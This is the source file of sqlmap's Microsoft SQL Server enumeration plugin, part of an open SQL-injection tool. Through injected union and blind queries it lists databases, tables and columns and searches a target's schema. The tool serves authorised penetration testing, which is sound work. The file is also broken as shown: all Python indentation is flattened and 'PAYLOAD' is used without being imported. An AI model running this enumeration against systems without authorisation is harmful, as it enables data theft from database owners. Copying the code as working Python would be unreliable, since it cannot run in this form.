sqlmap/plugins/dbms/mssqlserver/enumeration.py

312 lines
11 KiB
Python

#!/usr/bin/env python
"""
$Id$
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
See the file 'doc/COPYING' for copying permission
"""
from lib.core.agent import agent
from lib.core.common import arrayizeValue
from lib.core.common import getRange
from lib.core.common import isNumPosStrValue
from lib.core.common import isTechniqueAvailable
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.enums import DBMS
from lib.core.enums import EXPECTED
from lib.core.exception import sqlmapNoneDataException
from lib.request import inject
from plugins.generic.enumeration import Enumeration as GenericEnumeration
class Enumeration(GenericEnumeration):
def __init__(self):
GenericEnumeration.__init__(self, DBMS.MSSQL)
def getPrivileges(self, *args):
warnMsg = "on Microsoft SQL Server it is not possible to fetch "
warnMsg += "database users privileges"
logger.warn(warnMsg)
return {}
def getTables(self):
infoMsg = "fetching tables"
if conf.db:
infoMsg += " for database '%s'" % conf.db
logger.info(infoMsg)
rootQuery = queries[kb.dbms].tables
if not conf.db:
if not len(kb.data.cachedDbs):
dbs = self.getDbs()
else:
dbs = kb.data.cachedDbs
else:
if "," in conf.db:
dbs = conf.db.split(",")
else:
dbs = [conf.db]
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct:
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
continue
query = rootQuery.inband.query % db
value = inject.getValue(query, blind=False, error=False)
if value:
kb.data.cachedTables[db] = arrayizeValue(value)
if not kb.data.cachedTables and not conf.direct:
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
continue
infoMsg = "fetching number of tables for "
infoMsg += "database '%s'" % db
logger.info(infoMsg)
query = rootQuery.blind.count % db
count = inject.getValue(query, inband=False, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "unable to retrieve the number of "
warnMsg += "tables for database '%s'" % db
logger.warn(warnMsg)
continue
tables = []
for index in range(int(count)):
query = rootQuery.blind.query % (db, index, db)
table = inject.getValue(query, inband=False)
tables.append(table)
kb.hintValue = table
if tables:
kb.data.cachedTables[db] = tables
else:
warnMsg = "unable to retrieve the tables "
warnMsg += "for database '%s'" % db
logger.warn(warnMsg)
if not kb.data.cachedTables:
errMsg = "unable to retrieve the tables for any database"
raise sqlmapNoneDataException(errMsg)
return kb.data.cachedTables
def searchTable(self):
rootQuery = queries[kb.dbms].search_table
foundTbls = {}
tblList = conf.tbl.split(",")
tblCond = rootQuery.inband.condition
dbCond = rootQuery.inband.condition2
tblConsider, tblCondParam = self.likeOrExact("table")
if not len(kb.data.cachedDbs):
enumDbs = self.getDbs()
else:
enumDbs = kb.data.cachedDbs
for db in enumDbs:
foundTbls[db] = []
for tbl in tblList:
infoMsg = "searching table"
if tblConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % tbl
logger.info(infoMsg)
tblQuery = "%s%s" % (tblCond, tblCondParam)
tblQuery = tblQuery % tbl
for db in foundTbls.keys():
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
continue
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct:
query = rootQuery.inband.query % db
query += tblQuery
values = inject.getValue(query, blind=False, error=False)
if values:
if isinstance(values, basestring):
values = [ values ]
for foundTbl in values:
foundTbls[db].append(foundTbl)
else:
infoMsg = "fetching number of table"
if tblConsider == "1":
infoMsg += "s like"
infoMsg += " '%s' in database '%s'" % (tbl, db)
logger.info(infoMsg)
query = rootQuery.blind.count2
query = query % db
query += " AND %s" % tblQuery
count = inject.getValue(query, inband=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "no table"
if tblConsider == "1":
warnMsg += "s like"
warnMsg += " '%s' " % tbl
warnMsg += "in database '%s'" % db
logger.warn(warnMsg)
continue
indexRange = getRange(count)
for index in indexRange:
query = rootQuery.blind.query2
query = query % db
query += " AND %s" % tblQuery
query = agent.limitQuery(index, query, tblCond)
tbl = inject.getValue(query, inband=False)
kb.hintValue = tbl
foundTbls[db].append(tbl)
for db, tbls in foundTbls.items():
if len(tbls) == 0:
foundTbls.pop(db)
return foundTbls
def searchColumn(self):
rootQuery = queries[kb.dbms].search_column
foundCols = {}
dbs = {}
colList = conf.col.split(",")
colCond = rootQuery.inband.condition
colConsider, colCondParam = self.likeOrExact("column")
if not len(kb.data.cachedDbs):
enumDbs = self.getDbs()
else:
enumDbs = kb.data.cachedDbs
for db in enumDbs:
dbs[db] = {}
for column in colList:
infoMsg = "searching column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % column
logger.info(infoMsg)
foundCols[column] = {}
colQuery = "%s%s" % (colCond, colCondParam)
colQuery = colQuery % column
for db in dbs.keys():
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
continue
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct:
query = rootQuery.inband.query % (db, db, db, db, db)
query += " AND %s" % colQuery.replace("[DB]", db)
values = inject.getValue(query, blind=False, error=False)
if values:
if isinstance(values, basestring):
values = [ values ]
for foundTbl in values:
if foundTbl not in dbs[db]:
dbs[db][foundTbl] = {}
if colConsider == "1":
conf.db = db
conf.tbl = foundTbl
conf.col = column
self.getColumns(onlyColNames=True)
dbs[db][foundTbl].update(kb.data.cachedColumns[db][foundTbl])
kb.data.cachedColumns = {}
else:
dbs[db][foundTbl][column] = None
if db in foundCols[column]:
foundCols[column][db].append(foundTbl)
else:
foundCols[column][db] = [ foundTbl ]
else:
foundCols[column][db] = []
infoMsg = "fetching number of tables containing column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s' in database '%s'" % (column, db)
logger.info(infoMsg)
query = rootQuery.blind.count2
query = query % (db, db, db, db, db)
query += " AND %s" % colQuery.replace("[DB]", db)
count = inject.getValue(query, inband=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "no tables contain column"
if colConsider == "1":
warnMsg += "s like"
warnMsg += " '%s' " % column
warnMsg += "in database '%s'" % db
logger.warn(warnMsg)
continue
indexRange = getRange(count)
for index in indexRange:
query = rootQuery.blind.query2
query = query % (db, db, db, db, db)
query += " AND %s" % colQuery.replace("[DB]", db)
query = agent.limitQuery(index, query, colCond.replace("[DB]", db))
tbl = inject.getValue(query, inband=False)
kb.hintValue = tbl
if tbl not in dbs[db]:
dbs[db][tbl] = {}
if colConsider == "1":
conf.db = db
conf.tbl = tbl
conf.col = column
self.getColumns(onlyColNames=True)
dbs[db][tbl].update(kb.data.cachedColumns[db][tbl])
kb.data.cachedColumns = {}
else:
dbs[db][tbl][column] = None
foundCols[column][db].append(tbl)
self.dumpFoundColumn(dbs, foundCols, colConsider)